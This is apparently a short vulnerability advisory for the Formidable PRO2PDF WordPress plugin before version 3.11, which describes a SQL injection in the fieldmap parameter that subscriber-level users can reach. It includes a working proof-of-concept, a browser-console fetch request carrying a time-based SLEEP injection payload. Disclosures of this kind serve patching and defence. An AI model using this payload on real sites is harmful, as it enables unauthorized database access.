Formidable PRO2PDF < 3.11 - Subscriber+ SQLi

The plugin does not properly sanitise and escape the fieldmap parameter before using it in a SQL statement via the fpropdf_export_file AJAX action, leading to a SQL injection exploitable by any authenticated users, such as subscriber

PoC

Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=fpropdf_export_file&fieldmap;=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));